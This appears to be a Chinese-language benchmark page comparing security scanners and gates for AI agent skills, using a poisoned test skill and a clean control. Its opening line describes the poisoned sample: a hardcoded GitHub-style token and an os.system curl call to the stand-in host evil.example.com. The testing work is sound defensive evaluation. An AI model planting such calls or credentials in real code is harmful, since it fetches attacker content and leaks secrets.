evil.py:硬编码凭证 ghp_aaaa… + os.system("curl http://evil.example.com/x");SKILL.md 声明为普通演示技能。
对照组:iso14971-risk-matrix(干净技能,无危险调用)。
| 工具 | 版本 / 方式 | 结论 | 是否阻断 | 证据状态 |
|---|---|---|---|---|
| NVIDIA SkillSpector | 2.12.0 · 本地 pip 安装真跑 | 34 / MEDIUM / CAUTION(含 HIGH 的 os.system) | ❌ 不阻断 | ✅ 真跑 |
| Snyk Agent Scan | 0.6.11 · pip 安装,headless 未出结果 | 无稳定 stdout;CI 需 --dangerously-run-mcp-servers | NV | NV |
| SkillGate | v1.0.0 · 本地实跑(MIT) | 干净 100/A+;负对照 27/F,4 条 CRITICAL | ✅ exit code 1 | ✅ 真跑 |
| Arize Phoenix | 19.18.0 · 本地服务 + OTLP trace | 可观测/评测平台;trace 入库成功 | 非门禁 | ✅ 真跑 |
| Cisco DefenseClaw | 文档级(Apache-2.0 / Go) | CRITICAL/HIGH → 隔离 + 阻断;扫描失败 = rejected | ✅(文档) | 📄 文档 |
| LGD-Eval(本工具) | 自包含 engine · 本地复跑 | assessment_outcome = FAIL;safety_clear=false;无 ALLOW | ✅ fail-closed | ✅ 真跑 |
注:Cisco 的 fail-closed 语义来自官方文档(扫描失败=rejected、HIGH 隔离),并非我方实测;本页不把它写成“已验证”。
# NVIDIA SkillSpector(本地 pip 安装后) python -m skillspector.cli scan <skill-dir> --no-llm --format json > out.json # Snyk Agent Scan(注意:无 TTY 会静默失败) python -m agent_scan.run # 或入口 snyk-agent-scan;CI 需 --dangerously-run-mcp-servers # LGD-Eval(本仓) python work/eval-run/e2e_selfcontained.py # 期望:clean=PASS / poisoned=FAIL / 无 ALLOW
SkillSpector 在 Windows 上 --output 不可用(“Safe file output is unsupported on this platform”),本页结果用 stdout 重定向。
“扫描器”回答“这个技能有没有风险”;“门禁”回答“能不能放行”。前者给建议(CAUTION),后者给结论(FAIL/ALLOW)。
本页只主张两件事:① 同一 HIGH 样本,SkillSpector 给 CAUTION、LGD-Eval 给 FAIL;② Cisco 的 fail-closed 说明“阻断”不是差异点,证据等级与独立第三方复跑才是。
work/eval-run/skillspector/、work/eval-run/e2e-selfcontained.json、work/eval-run/phoenix/phoenix-ui.png